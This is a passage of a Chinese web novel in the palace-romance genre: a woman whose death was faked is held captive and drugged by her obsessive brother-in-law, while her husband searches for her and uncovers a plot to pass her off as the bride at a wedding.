人还未到,便听到二老爷的声音,“咱们这些人,年节时送了多少好东西,那都是给皇后娘娘还有丞相府的,不过是求着能沾点光,如今靠山既倒,我萋萋婚事也……唉,你们也要留点心,这以后啊,官场上受排挤,且忍一忍吧。” “不行,要让大哥出来主持公道。皇后娘娘虽薨逝,可皇子犹在,大哥怎么说也是皇上的老丈人,岂能看着咱们在这受欺辱?” 柳桓安一听便知,芊芊做了皇后,柳家人多多少少受了点恩惠,可如今她人已薨逝,原本还给柳家几分薄面的那些人,便更不将柳家人放在眼里。 他只觉可笑,他作为柳家长子长兄都未曾得到半分实利,他们这些人,怎么敢让父亲出来主持什么公道? 两人跨进门,吵嚷的人群一下静了下来。 暖阁内,女眷的声音此刻尤为明显。 葛氏叹道:“我早说过,乌鸦插上凤凰羽,终究要现原形的。你们瞧,一个病死,一个烧死,可见是福薄,命里啊担不起这等滔天富贵。” 柳桓安气得浑身直颤,这葛氏,欺人太甚,竟敢如此诋毁妹妹们。 “砰”的一声,贺玄度一脚将隔在暖阁中的屏风踹倒在地。 尖叫声四起,里面的女眷吓得乱作一团。 贺玄度瞧着葛氏,声音不带一丝温度,“你算个什么东西,也敢背后中伤蓁蓁。” 葛氏涨红了脸,“我是蓁蓁的叔母,你敢对我不敬。” “叔母?”贺玄度冷笑一声,“这个时候,倒想起来是蓁蓁的叔母了,怎么方才口下无德时,忘得一干二净。蓁蓁敬你,我才给你几分薄面。蓁蓁不在了,你什么都不是。” 葛氏脸色煞白,不敢再多说一句。 贺玄度扫视一圈,冷声道:“我不管你们藏着什么心思,今日这话,我只说一遍。蓁蓁是我明媒正娶的妻子,也是我这辈子唯一的妻子,她的家人,便是我的家人。日后若是谁敢在柳府闹事……” 他长剑一挥,正中二老爷桌上的杯盏。 啪的一下,落在地上,碎成两半。 “犹如此盏。” 厅内众人见状,面色齐齐一变,再无人敢多说一句。 相府内,程氏听闻贺玄度亲去柳府报丧,还大闹一场,面色凝重。 过几日便是贺玄晖大婚,柳舜华死在这个当口,婚事要如何操办? 她虽不喜刘妉柔,但贺玄晖非她不娶,已经耽搁了许多年。事到如今,她已认命,只盼着刘妉柔入府,能早日替相府开枝散叶。 下了朝,贺玄晖让人来传话,说寻太史令看过,相府屡遭变故, 丞相病弱是症结,需冲喜以致邪祟,大婚时日不变。至于柳舜华的丧仪,一切从简。 程氏很得意,她又赢了贺玄度,压万曼一头。 午后,柳舜华醒了过来。 她头昏昏沉沉,咳了几声,强撑着虚弱的身子,缓缓坐起。 待看清周遭,整个人便如五雷轰顶,怔在床上。 半旧的罗帐飘在床前,床边的榆木小几上摆着个素瓷瓶,里头插着几枝将谢未谢的山茶花,香气已淡得几不可闻。 这里是,西竹院。 她下意识低头,一股恶寒攀上心头,霎时如坠冰窟。 她穿的,正是葬身火海前那件朱红菱纹锦袍。 头疼欲裂,她分不清梦境与现实。 记忆潮水般翻涌,与贺玄度的点点滴滴,那些温存耳语,那些刻骨铭心的誓言,难道都只是她被困在这西竹院里,日复一日幻想出来的虚妄? 她不甘心,想放声大叫,可却像被一双无形的手扼住,怎么也发不出声音。 是了,她是在梦里,梦里的人,是发不出声音的。 一股彻骨的悲凉席卷全身,她无助地瘫软在墙角,任由泪水无声滑落。 北风呼啸着,震得窗棂哐当作响,屋内炭火腾地一下升起。 不对,她死那一年,是三月,桃花盛开的时节。 她像是抓到最后一根救命稻草,顾不得四肢绵软,踉跄着从床榻滚落。膝盖重重磕在青砖地上,却浑然不觉,跌跌撞撞爬到窗边。 碎雪如絮,从灰蒙的天幕中飘落,庭前海棠枝头已覆上薄雪。雪粒扑簌,轻叩窗纸,偶有风过,檐下旧铜铃叮咚作响。 院中枯草没膝,满目荒芜,分明是上次同贺玄度来时的模样。 呆愣片刻,柳舜华狂喜,这不是梦。 她闭上眼,让自己平静,尽力回想着。 她正在膳厅等贺玄度,突然闻到一股异味,浑身瘫软无力,救出芳草她们,脖颈上针扎似的疼,之后便陷入昏迷。 确认不是梦,可到底是谁动手,究竟有何意图,是不是冲着贺玄度? 门锁声响起,吱嘎一声,门被打开。 雪花飞卷而入,屋子中央燃烧的炭火噼啪作响,来人逆着风雪,缓缓逼近。 “你醒了?”他问。 柳舜华皱眉,看着来人脱口道:“贺玄晖?” 第114章 第114章她要出去,没有她,贺…… 柳舜华喉咙嘶哑,发出的声音含糊不清。 贺玄晖听到,身子陡然一僵,脸上顿时绽出奇异的光彩。 这辈子的柳舜华,从不直呼他的名字。 他走近,眸底暗流涌动,声音因过度激动不觉有些发颤,“舜华,你记得我了。” 柳舜华一愕,立即意识到什么,冷着脸费力道:“贺玄晖,我好歹是你弟妹,你却抓我到这里,到底要做什么?” 贺玄晖眼中的光亮霎时黯了下去,垂下眼眸,看她衣着单薄,伸手将她从榻上抱起。 柳舜华惊骇,伸手拼命捶打,奈何浑身无力,拳头落下去软绵绵的,贺玄晖纹丝不动。 所幸,他只是将她抱回到床上。 柳舜华眸中燃起怒意,厉声道:“你要做什么?为什么要抓我?这里是什么地方?” 贺玄晖伸手为她盖上锦被,目光缓缓扫过屋内陈设,嗓音低沉:“舜华,这里是你以前生活过的地方。” 柳舜华头皮发麻,极力控制住内心的恐惧,“你胡说什么,我何时住过这里?” 贺玄晖温柔一笑,语气轻柔得像哄小孩子,“都是上辈子的事了,你不用担心,日子很长,我会让你慢慢记起的。” 柳舜华怔怔地盯着他:“疯子,你就是个疯子。” 贺玄晖抬起头,温润的脸上浮起一片柔情,“自我记事起,总是会梦到一个女子。她就站在桃花树下,回头冲我一笑。我不知道她是谁,但就是知道,她对我……很重要,比我的命都重要。” “我想找到她,可梦中,怎么也看不清她的脸。这些年,我见过许多人,有身形相似的,有气质相近的,可没有一个是她。到了婚配的年纪,父母催我成婚,可我还没找到,怎么能甘心,于是,我便与怀着同样心思的刘妉柔定下约定,以此来挡住悠悠众口。” “那日,在浮霞园,我见到了你。一种熟悉的感觉让我浑身血液翻涌,像是已经死去的枯藤,重新发了新芽。可梦中女子对我温情脉脉,你对我却冷冷淡淡,我开始怀疑我认错了人。” 他叹了一声,接着道:“后来,母亲提出要与柳府议亲,我鬼使神差,竟然应了下来。只是天意弄人,你最后还是嫁给了贺玄度。我本来已经打算放弃,可……就在你大婚那日,我全部记了起来。舜华,你便是我梦中一直出现的女子。” 柳舜华冷哼一声,“一个梦而已,你还真信了。” “还记得我跟你讲过的那个故事吗?故事中那个男子是我,那个女子就是你。”贺玄晖抓过她的手,漆黑的眼眸里翻涌着近乎疯魔的执念,眼尾泛起病态的红,“柳舜华,你是我的妻子,这么多年,我一直在等你。” 这些年,他等得太久了,久到他都要放弃了。 他苦苦追寻着一道道虚幻的影子,苦到每根骨头都浸透了绝望。 他不是没怀疑过,一切真的只是一场梦,他的等待不过是徒劳。 可是,上天让他遇见了柳舜华,让他记起前尘往事。 柳舜华就在他身边,他怎么能错过。 他突然低笑起来,笑声里混着哽咽,滚烫的呼吸喷在她颈侧,冰凉的唇瓣贴着她耳垂,“可老天爷终于开眼了是不是?舜华,你让我好等啊。” 柳舜华只觉一股恶寒,用尽全力,一把推开他,厉声道:“不,我不是。我已经嫁给了玄度,我是相府的二少夫人。” 空气骤然凝固。 贺玄晖的眼神在一瞬间暗了下去,像是被刺伤的野兽,却又在下一秒归于诡异的平静。 “错了。”他缓缓勾起唇角,眼底却毫无笑意,“相府二少夫人柳舜华已经葬身火海,世间再无此人。如今,你是我的,是我贺玄晖的妻子。” 柳舜华浑身犹如雷击,“你什么意思?” 贺玄晖平静道:“相府二少夫人柳舜华已于昨日亡故,明日便要下葬。” 柳舜华瘫软在锦被间,贺玄晖做了局,让所有人都以为,她死在火海中。 那贺玄度呢,他会不会真的以为,她已经不在这个世间? 不行,她要出去。 没有她,贺玄度会疯的。 柳舜华强压下心头翻涌的情绪,冷声道:“既然这世上再无柳舜华,那你打算关我一辈子?贺玄晖,你便是这么爱我的?” “蓁蓁,我知晓,你不喜束缚,怎么可能一直关着你。”贺玄晖垂眸看着她,语气诚恳,“你不是一直很喜欢凉州嘛,我已为你重新找了个身份,正是凉州籍。” 柳舜华打了个寒噤,连身份都准备好了,可见贺玄晖筹谋已久。 贺玄晖痴痴地望着她,“我从未想过要娶刘妉柔,不管是上辈子,还是这辈子,我想娶的,只有你。” 柳舜华忽而笑了起来,他说他想娶的只有她,“那刘妉柔呢,三日后,你不是要娶她。届时,她是正妻,我呢,算什么,被你藏在别院的金丝雀?还是见不得光的外室?” 贺玄晖伸手又想碰她的脸,看到她眼中的寒意,僵在半空,“舜华,我怎么舍得这么对你?我与刘妉柔之间,不过是一场交易。等我这边事了,她会自请和离。我会光明正大地娶你,迎你做我的正妻。” 多讽刺,上辈子他为了所谓的心上人,将她冷落在后院,任由程氏迫她自降为妾。这辈子,她却成了他的心上人,逼迫着另一个女人为她让位。 她抬起头,眼中满是决绝,“倘若,我不愿呢?” 贺玄晖身子微不可察一晃,修长的手指倏地扣紧雕花床沿。 半晌,他嘴边绽开一个温润的笑,声音轻柔得像是怕惊碎一场美梦,“舜华,你爱过我的。你还记得吗?你曾为我彻夜忙碌,熬红双眼做了个竹蜻蜓;不管我何时回卧房,你总会留一盏灯,趴在桌上等我;你喜欢赖在我的书房,说我身上有好闻的墨香。你是爱我的,只是暂时忘了而已。” 屋外北风呜咽,风雪骤急,他的面容隐在阴影里,“你曾经爱过我,日子久了,你总会再次爱上我。” “你做梦!”柳舜华毫不留情地打断他,“我爱的是贺玄度,生生世世都是。” 美梦幻境中的贺玄晖猛地一颤,心像被人掏空,露出个无底洞,幽暗湿冷,痛彻骨髓。 她彻彻底底地忘了他。 许久,他起身,抬手接住从窗缝飘进的雪粒,看着它在掌心化作一滴泪,“舜华,我不在乎你有没有嫁过人,曾经爱过谁,也不在乎此刻你爱不爱我。我只要,你能在我身边。” 贺玄晖已经疯魔了,同他说再多也无用。 柳舜华不再理他,转过头去。 敲门声响起,贺玄晖推门,风裹着雪沫吹进屋内,有人提着食盒,站在门外。 贺玄晖接过食盒,顺手将门关上,“这是我让人备下的,你最喜欢的羊肉汤。” 柳舜华缩在墙角,一动未动。 贺玄晖笑道:“过来吃两口吧,冷了就不好吃了。” 三日后,贺玄晖大婚,成败在此一举,她要想办法逃出去,绝不能让贺玄度分心。 思及此,柳舜华起身,来到桌前,端起羊肉汤,大口大口地吃了起来。 一碗肉汤下肚,柳舜华顿时觉得恢复了不少力气,喉间也舒缓不少,正庆幸着,便见贺玄晖又从食盒中端出一小碗汤。 “舜华,喝了它。” 柳舜华抬头,愣愣地看着他。 贺玄晖道:“不是毒药,只会让你暂时说不出话。” 柳舜华忍住怒气,看贺玄晖紧紧盯着她,便知这药不喝下,他是不会走的。 她眼一闭,端起桌上的汤药,一饮而尽,“怎么样,满意了吗?” 贺玄晖伸手,想拭去她唇边的汤药汁。 柳舜华身子往后一缩,旋即起身回到床上,拉上被子。 贺玄晖看着锦被下的柳舜华,声音渺远,“舜华,咱们的缘分,很早便开始了,比你想象的还要早,你躲不开的。” 敲门声又响起,门外人低声道:“公子,相爷让你过去一趟。” 贺玄晖应了一声,回头看了一眼柳舜华,她裹着被子,背对着他。 他突然就想起了上辈子,他来西竹院,说要娶刘妉柔。 她一口应下,眼中波澜不惊,不喜不怒。 那一刻,他的心一下刺痛起来,好像有什么东西,从身体一寸寸抽离。 其实,他从未想过要娶别人,娶刘妉柔也不过是权宜之计。 等解决掉刘九生,扶持小皇子上位,贺家权力交接,他正式代替父亲执掌朝堂,便再无人能阻止他们在一起。 父亲不能,母亲也不能。 可她却决绝地跳入火海。 她不等他了。 好在,上天还是给了他一个重新选择的机会。 这次,他不会再放开她。 柳舜华静静地躺在床上,直到脚步声走远,才起身下了床。 她走到门前,用力一拉,响起门锁碰撞的声音。 贺玄晖从外面上了锁。 她又绕到窗口,试着去推窗,果然,窗子也被封死。 屋外,雪地上,一排脚印直通后院。 后院步行百余步,是一片竹林,穿过竹林,绕过一路□□,便是贺玄晖的书房。 她叹了一声,一抬眼,瞧见廊下影影绰绰立了几个人。 这庭院内外,早被他的人围得铁桶一般。莫说逃出去,便是想踏出这道门都难如登天。 她强撑着从暖榻起身,脚才踏到地上,双腿便如浸了醋般酸软无力,险些摔在地上。 贺玄晖,一定是在肉汤里下了药。 他让她开不了口,走不了路,生生困在这方寸之间。 她咬着牙,一点点挪到床上,瘫在软衾上。 额上已沁出细密冷汗,神智也开始昏沉,她将指甲深深掐进掌心,用痛楚来保持清醒。 她不能坐以待毙,她必须要想办法让贺玄度知道,她还活着。 贺玄晖还不知道她有上辈子的记忆,以为她不知此处是丞相府,这或许,正是破局之机。 旧罗帐晃荡在眼前,她眸光一转,死死盯着那一抹跳动的红。 一日之间,暗卫根据贺玄度列出的相府所有产业,上上下下翻找了个遍,依旧未找到柳舜华。 周松暗中跟了贺玄晖一日,发现他身边最近多了许多侍卫,戒备森严。他不好靠近,为免打草惊蛇,只能远远看着。 这一日,贺玄晖只去了两个地方:书房,贺丞相卧房,毫无破绽。 贺玄度彻底慌了,他找不到蓁蓁。 能找的地方都已经找了,长安城那么大,贺玄晖究竟会把蓁蓁藏在哪? 还是说,他想错了,他已经将蓁蓁送出了长安? 有那么一瞬,他甚至想不管不顾地冲到贺玄晖面前,将刀架在他脖子上,逼问出蓁蓁的下落。 可残存的理智终究占了上风,这般鲁莽行事,非但救不出蓁蓁,反而会打乱计划,害了九生。 夜色渐深,屋内静得可怕。 门敞开着,寒风卷着碎雪涌入,门前已积了薄薄一层白。 周松端来的饭菜原封不动地摆在桌上,早已凉透。 堂前高挂的灯笼寒风中剧烈摇晃,投下凌乱的光影。贺玄度就坐在那,光影交错下,像一尊僵硬的石像,纹丝不动。 整整一日,一无所获,周松不敢再劝他,只静静地立在廊下,仰头看着漫天散乱的飞雪。 突然,西边天际亮了一下,紧接着一簇火舌猛地窜上夜空。火星流星般四溅,在雪夜里格外刺目。 周松猛地转身,朝着屋内的贺玄度道:“火,起火了。” 贺玄度一听到“火”,瞳孔骤缩,霍然起身,几步跨到门外。 西竹院,是西竹院。 刹那间,贺玄度瞬间反应过来,胸口起伏不定,急道:“快,带人去救火,蓁蓁在里面。” 周松虽不明就里,但见贺玄度神色笃定,当即转身疾奔去召集家丁。 “等一下,让洪声去,你速去守住西竹院后门。”贺玄度叫住周松。 吩咐好周松,贺玄度顾不得披大氅,深一脚浅一脚地向着西竹院奔去。 他赶到时,贺玄晖也方到。 两人隔着飘雪对视一眼,如两柄出鞘的利剑般立在雪中,周围的空气都仿佛凝固了。 雪越下越大,火势已被压制住,没有继续蔓延,只正房窗棂处被烧了个窟窿。 正房上了锁,透过烧毁的窗洞望去,漆黑一片,什么也看不到。 贺玄度唇边噙着一抹若有若无的冷笑,“兄长住在前院,居然来得这般快。” 贺玄晖神色淡淡,“弟妹明日便要下葬,二弟还有这份闲心来凑热闹。” 贺玄度不动声色,“西竹院曾是我母亲住过的地方,兄长怕是忘了?” 贺玄晖有些错愕,先夫人,好像的确住过西竹院。 愣了片刻,他道:“火势已灭,二弟大可放心,明日还有得忙,不如早些回去歇息。” 贺玄度岿然不动,单薄的衣袍上落满了雪,“不急,这里是母亲旧居,总要看看可有物件损毁,方能安心。” 贺玄晖笑得温雅,“二弟有此孝心,当真令人动容。” 贺玄度目光掠过贺玄晖,落在门上那把铜锁上,“洪声,开门。” 洪声应声快步上前,从雪地里抄起一块青石,对着门锁砸了下去。 “锵!”的一声,门锁落地,溅起一片雪沫。 贺玄度夺过身旁随从手中的火把,大步跨过石阶,一步步走了进去。 红彤彤的火把迅速将屋内照亮,摇曳的火光一寸寸舔过屋宇。 屋内空空荡荡,蓁蓁不在里面。 第115章 第115章他要沐浴梳洗,蓁蓁不…… 蓁蓁不在。 难道他想错了? 贺玄度不甘心,高举着火把一寸寸地搜寻。 烟尘在微弱的光线中弥散开,床榻、案几皆覆着厚厚的灰烬,屋内原本的模样早已模糊难辨。 突然,一抹残红闯入视线。 案几下,一朵山茶花被踩烂成泥。 这里最近有人住过,他有种直觉,就是蓁蓁。 可门上了锁,窗子也被封死,蓁蓁若在里面,根本不可能出去。 难道蓁蓁曾短暂被关在此处,如今已经被转移了。 贺玄晖在外笑道:“怎么样,二弟,可有重要物件损毁?” 贺玄度不动声色,跨了出去,“未曾,只是我很好奇,这里被废弃了十多年,为何会突然起火?” 贺玄晖淡声道:“如今父亲卧病在床,家中小厮都太倦怠了些,有些失误也不稀奇。不过二弟放心,我会让人详查,并将此处修缮。只是这里起了火,随时有倾塌的风险,二弟还是莫要再靠近的好。” 不等贺玄度回应,他便高声道:“来人,将此处圈起来,严加看管,以免有人误入。” 贺玄度还想说什么,瞧见周松已经返回,正站在院内。 他朝周松望去,周松摇摇头。 蓁蓁不在此处,再待下去也是浪费时间,贺玄度没再纠缠,转身离开。 积雪映着残月,照得屋内亮如白昼。 周松望着自家公子,心头蓦地一酸。 不过两日光景,他已消瘦不少,面庞愈加棱角分明如刀削,昔日眉宇间那股子少年气荡然无存,多了份孤绝,好似一株青竹骤经风霜,转瞬化作崖边孤松。 静默片刻,贺玄度问:“你看得真切,没有瞧见贺玄晖的人?” 周松点头,犹疑道:“我一直守着,期间并未瞧见有任何人出入。公子,你是不是,想多了?” 贺玄度摇头,从怀中取出那朵残败的山茶,“这是在正房发现的。” 周松接过细看,分明是新鲜采摘的。 他眼里重新燃起希望,“这么说,少夫人此前真的曾被关在西竹院。” 贺玄度望向院外,雪不知何时已停。 月光穿透云层,洒下一片清辉,在他眼底投下一片冷冽的光,“此次虽未见到蓁蓁,但我几乎可以肯定,蓁蓁如今,还在府内。” 贺玄晖劫走蓁蓁,本有机会即刻将她送出府,可他却没有,而是将她囚在西竹院。 如他此前所料,贺玄晖根本就没打算送蓁蓁出去。 蓁蓁居然一直在他眼皮子底下! 周松说过,贺玄晖这两日除去就寝,向父亲请安,出现最多的地方便是书房。 贺玄晖卧房有不少婢女、嬷嬷,整日进进出出,程氏管得又严,蓁蓁若被关在此处,难免有风声。 蓁蓁会不会,被他关在书房? 贺玄度攥紧双手,“你让人盯着贺玄晖,看他今晚是不是在书房?” …… 西竹院火势一起,柳舜华便被人扛着,躲进了密道。 若不是这场火,她竟不知,西竹院正房内,居然有一条密道。 烧灼的热浪被骤然隔断,取而代之的是一阵阴冷。 负责照看她的侍卫很快搬来炭火,拿了一床新锦被。 她被安置在密道内。 等那侍卫走远,柳舜华扶着墙,勉强坐起。 未如想象中蛛网密布、幽暗潮湿,青石砌就的密道出乎意料的整洁。 石壁上镶嵌几颗夜明珠,泛着柔和的莹光,紫檀小几上依旧放着一支红艳艳的山茶,鎏金香炉里燃着清甜的沉水香。 说是密道,倒更像雅室。 柳舜华向另一端望去,黑漆漆一片,看不到头。 她不知密道是否还有别的出口,通向何处? 不知过了多久,她终于听到了响动,缓缓抬头,有亮光从远处照进来。 贺玄晖执灯而来,衣袂带风,大氅上落满了雪。 柳舜华看着他,勉强开口,声音沙哑低沉,“表面温润的大公子,竟在废宅挖了个密道,真是好兴致。” 贺玄晖没理她冷嘲热讽,开口道:“你放的火?” 柳舜华迎上他的目光,“是我,你要杀了我吗?” 灯火映照下,贺玄晖眼底闪过一丝无奈:“你明知我舍不得。” 柳舜华冷声道:“那你还问。” 贺玄晖看着她,眼神里满是探究:“你为何要放火,你想引起贺玄度注意?你怎么知道,他会过去?” 柳舜华别过脸去,淡声道:“那是他母亲住过的地方,他一向孝顺,自然会过去。” 这倒是与贺玄度说辞一致。 贺玄晖看着她鬓边散落的头发,眼神柔和下来,低头俯身,指尖抚过她的青丝,“舜华,你好好在这,不要再闹了好吗?” 柳舜华伸手拍开他,冷声道:“这又是什么地方,你要关我到什么时候?” “这里是我书房的密道。”贺玄晖直起身,语气平淡, 柳舜华有些错愕,西竹院正房下面的密道,竟直通贺玄晖书房。 前世,她常去贺玄晖书房。 贺玄晖读书,她无聊时便帮忙打扫。书房内每个角落几乎都被她摸了个遍,她竟从未发现这处隐秘。 贺玄晖坐在紫檀小几旁,伸手拨弄着瓶中的山茶,喃喃道:“这个密道,已快有十年了。” 烛火在他眼中跳动,映出几分癫狂,“自从梦见前世那个模糊的身影开始,我就再也无法安睡。直到有天,我无意中经过西竹院,像是着了魔一般,推门进去。一到屋内,一股莫名的熟悉感让我止不住心跳,在那里我感受到了前所未有的平静。” 他手指突然收紧,花瓣在他掌心碾碎,指尖血红,唇角仍噙着温雅笑意,“于是,我便着手,让人秘密在书房挖了条暗道。此后,每当我孤枕难眠,便从密道到西竹院,在你住过的地方。唯有躺在你残留的气息里,我才能合眼。” 柳舜华终于抬眼,看了一眼贺玄晖。 她突然想到前世,她生了大病,高烧昏沉之际,恍惚看见贺玄晖守在榻前。他小心翼翼地将药汁吹凉,指尖拭去她额间冷汗,默默陪着她。次日一早,她醒了过来,床边空空荡荡。她知道她又做了梦,嘴角苦笑。 那时她总以为,三年婚姻里,他从未爱过她。 如今听着他诉说这些近乎疯魔的执念,她只觉得荒唐。 太荒唐了。 “我不管你说的是真是假,即便是真的,也都已经过去了。你的妻子,曾经的柳舜华,已经死了,死在那场火海中。”她缓缓道:“贺大公子,这世上最没用的,就是迟来的情深。” 贺玄晖双眸微红,眼底泛起病态的温柔,“不,舜华,我们只是错过了。还来得及,你等我,等我好不好。这一次,我绝不会让你失望。” 柳舜华浑身瘫软,歪头倒在榻上,“我累了,你走吧。” 贺玄晖婚礼将近,相府内外张灯结彩,朱漆廊柱上贴满喜字,日光下金粉熠熠,十丈红绸从正门一路铺到喜堂,侍女们捧着大红喜盆来回穿梭。 贺玄度借着贺府下人往来穿梭的嘈杂,隐入暗处。几个暗探故意打翻酒坛,引得西窗侍卫匆匆离去。 他身形一闪,猿臂轻舒,倒悬在飞檐之下,透过雕花窗棂,朝屋内望去。 昏黄的灯光下,墙上的画像被风吹得摇摇晃晃,画中人眉眼在风中忽明忽暗,案上茶盏犹自冒着热气,唯独不见贺玄晖。 他眉头微皱,半炷香前,他明明亲眼看到贺玄晖进了书房。 远处匆匆的步履声响起,侍卫即将折返。 贺玄度不好再逗留,腰腹发力,轻飘飘落在屋脊,几个起落间,隐入竹林深处。 周松在院中来回踱步,一见贺玄度身影便箭步上前。 “公子,怎么样,可见到了少夫人?” 贺玄度摇头,“未曾。” 周松愁得直挠头,这几日,贺玄度连日不眠不休的搜寻,整个人行尸走肉一般。再寻不到少夫人,他真怕他会一把火烧了丞相府。 “贺玄晖的书房,有暗道。”贺玄度凝眉道:“我怀疑,暗道通向西竹院。” 方才立于高处俯瞰,才惊觉那书房与西竹院看似隔了两重院落,实则比邻而居。 难怪那日西竹院大火,贺玄晖如此气定神闲。 周松愣了一下,很明显没想太多,“西竹院不是先夫人的居所吗,他在那挖暗道做什么?” 贺玄度道:“后日便是贺玄晖大婚之日,待他去平阳王府接亲之后,立即动手。” 大婚前夜,贺玄度特地沐浴洗漱,盆中的温水换了几遍,仍嫌不够清透。未了,又坐在镜子前,将新生的胡茬刮得干干净净。 银纤姑姑送来了新裁的月白锦袍,他将衣袍挂起,仔细抚平。 明日,他要见蓁蓁,不能让她看到自己邋遢的样子。 更漏声声,贺玄度取下悬于床头的佩剑,拿出一方素帕细细擦拭。寒芒映照下,沉静如潭的双眸,重新泛起久违的星辉。 天光未破晓,相府门前便鞭炮声声不断。朱漆大门洞开,噼啪炸裂的碎红纸屑漫天纷飞,瞬间将府门前铺成猩红锦毯。 贺家众人,程家亲友,朝中显贵,悉数登门庆贺,好不热闹。 丞相病重,贺玄晖迎亲冲喜,为保父亲顺遂安康,又跪求请皇上亲临。 相府外,一整条街道百姓全被疏散。 贺玄晖一袭大红吉服,携族中老少候在府门前。 “皇上到!” 随着一声唱喝,金吾卫的仪仗迅速分列两侧。内侍抬着明黄銮驾缓缓而来,龙旗在风中猎猎作响。 刘九生踏着猩红毡毯走下銮驾,贺玄晖领着全族跪拜叩首。 “皇上亲临,荣宠之至,臣叩谢天恩。”贺玄晖额头抵在冰冷的青石板上,身子俯得很低,姿态恭谨至极。 刘九生抬手虚扶,“爱卿孝心可嘉,贺丞相为朝廷殚精竭虑,吾当亲临。” 入了府,刘九生于正厅升座,贺玄晖又行三跪九叩大礼,方去平阳王府迎亲。 迎亲队伍一出府,贺玄度忙寻了借口离开。 贺玄晖书房外,守卫竟比往日稀疏。 贺玄度心下生疑,但此刻箭在弦上,容不得迟疑,来不及多想,带着周松从竹林处慢慢逼近。 竹影微动,守在门口的侍卫警觉回头,上前查看,还未踏进竹林,寒光已至。 贺玄度长剑一挥,一剑封喉,干净利落。 其余侍卫反应过来,举刀朝着贺玄度等人砍去。 “有刺……”声音戛然而止。 贺玄度旋身,一剑贯穿那人胸膛,下手又稳又狠,根本不给他呼叫的机会。 守卫不多,其他侍卫也很快被周松及暗探解决,异常顺利。 “留一人处理尸体。”贺玄度甩落剑上血痕,靴底碾过地上未干的血迹,“其余人,随我进去。” 推开门,贺玄度先一步跨了进去。 众人随即持刃散开,目光扫过每一处可能藏人的阴影。 书房内空无一人。 “搜!”贺玄度一声令下,众人收起利刃,仔细翻找起来。 “公子,在这。”周松突然压低嗓音,手中拿起案台上的青瓷瓶。 机栝轻响,悬挂蓁蓁画像的墙壁缓缓后移,慢慢露出后面幽深的甬道。 石阶蜿蜒直下,内里透出微弱烛光。 周松提醒道:“公子,小心有诈!” 贺玄度不语,夺过琉璃灯,顺着石头阶而下。 甬道越来越宽,越来越亮,贺玄度提着灯,向前奔去。 琉璃风灯应声落地,贺玄度身影静静立在那里。 周松跟上,顺着贺玄度站立的方向望去,也不由一怔。 鲛绡帐内软烟罗衾凌乱,案头紫檀几上,一枝山茶开得正艳,花瓣上还凝着新鲜露珠。夜明珠柔光下,锦被余温犹存,唯独不见伊人踪影。 他们又晚了一步。 贺玄度脸色阴沉,眼底猩红一片,“不是说,这两日书房未有异样?” 周松急道:“暗探来报,并未见有人员出入,只昨日从书房抬了一箱字画,说是要送于平阳王……难道……” 贺玄度沉默得可怕。 贺玄晖为何突然将蓁蓁转移,他到底要做什么? 蓁蓁,到底在什么地方? “公子,迎亲的队伍已经在回来路上了,新娘马上入府。”有人匆匆入内,低声禀道。 贺玄度缓缓抬头,眼底寒芒如刃。 好啊,贺玄晖回来了。 新娘的花轿落在门口,喜婆高唱一声“撒金”,空中顿时闪过一道金光。 有人蹲身去捡,兴奋高呼:“金瓜子,是金瓜子啊。” 一阵哄抢声中,轿帘被掀开,身形高大的喜娘背着新娘进了门。 人群中有人问:“怎么新娘被背着?” 有人笑道:“大约是郡主身份高贵,不便下地沾土吧。整个长安,谁不知道,这贺大公子爱慕郡主已久,非她不娶,今日抱得佳人归,可不是好好好疼惜。” 一片哄笑后,有人高声道:“方才我堂弟跟着去了平阳王府接亲,说是郡主昨夜染了风寒,浑身无力,这才要喜娘背着进门。” 声音隐隐约约落在贺玄晖耳中,他嘴角轻笑,示意喜娘走得快些。 喜厅内,鎏金蟠龙烛台映得满室生辉。皇上端坐高位,静静注视着这对新人缓缓入内。 新娘被左右搀扶着,脚步虚浮,大红嫁衣下的身躯似乎不堪重负般微微晃动。 贺玄晖忽地停下脚步,朝满座宾客从容一揖,声音温润,“诸位宾客见谅,郡主昨夜偶感风寒,身子骨有点遭不住,待会闹洞房就免了吧。” 宾客都笑了起来,有人打趣道:“早听闻二公子疼夫人,如今看来,贺大公子有过之而无不及。” 说罢,一道冰冷的目光利箭般投来,那人回头一瞧,正对上贺玄度阴冷的目光。似乎想起了什么,忙低头闭嘴。 女眷席间,几位贵女绞着帕子窃窃私语: “贺大公子温润如玉,是多少长安贵女的求而不得的良人,嫁于这样的人物,便是死也值了。” “是啊,原只道他轩昂俊逸,如今看他还这般体贴,真叫人羡慕。” 贺玄度嘴角勾起一丝冷笑,好一个道貌岸然的伪君子。 贺玄晖全然未觉人群中那道噬人的目光,执起新娘的手向刘九生行叩拜大礼。 刘九生亲赐龙凤玉佩,观礼后,摆驾回宫。 临行前,扫过人群中的贺玄度。 视线交汇,贺玄度几不可察地颔首,示意一切已安置妥当。 刘九生起驾后,新人方行“拜天地”之礼。 礼成,送入洞房时,一个喜娘踩到新娘裙摆,脚下一滑,险些将新娘带倒。 贺玄晖脸色煞白,下意识地伸手,牢牢揽住新娘的腰。 贺玄度迅速意识到不对。 贺玄晖对刘妉柔并无真情,而方才,他下意识的动作与紧张是骗不了人的。 这场大婚,处处透着蹊跷。 新娘被喜娘搀着,在众人簇拥下,被送入洞房。 贺玄度盯着新娘离去的方向出神,内心涌起一股难以克制的冲动,他想要追上去。 脚还未迈出去,冷不丁被人拽到一边。 “兄长,你怎么在这?” “先别管这些,”柳桓安瞧了眼四周的,低声道:“你有没发现,新娘子不对劲。” 贺玄度愕然,“兄长此话何意?” “大婚前,我与妉柔见过面。平阳王拿她姐姐性命相逼,她不得不嫁。分别前,她说,想在进门之前掀开盖头,看我一眼。”柳桓安眸中一闪,“可花轿经过望月楼时,她却并未掀开轿帘。” 几乎是一瞬间,一股冷汗直冲头顶,贺玄度浑身发抖,双手直颤。 密室里空荡荡的床榻,昨日贺玄晖书房送到平阳王府的字画…… 新娘,是蓁蓁。 新房内,贺玄晖叮嘱过,不准任何人打搅,屋内静悄悄的。 柳舜华顶着盖头,半倚在床头。 这次,贺玄晖的药加了量,她浑身无力,每动一下,都要耗费巨大的精力,连盖头都懒得拿下。 上辈子,她就这么坐在床上,忐忑不安地等着贺玄晖。 她等啊等,终于等到他。 他推门进屋,一身酒气,静静坐在放着合卺酒的桌前,声音想浸在冰雪中,“抱歉,我本无意娶你。” 上辈子,她用尽全力,满心欢喜嫁给不愿娶她的贺玄晖。 这辈子,他强取豪夺,机关算尽也要 迫她嫁给他。 柳舜华叹一口气,前尘往事随风,眼下,她只想着,如何逃出去。 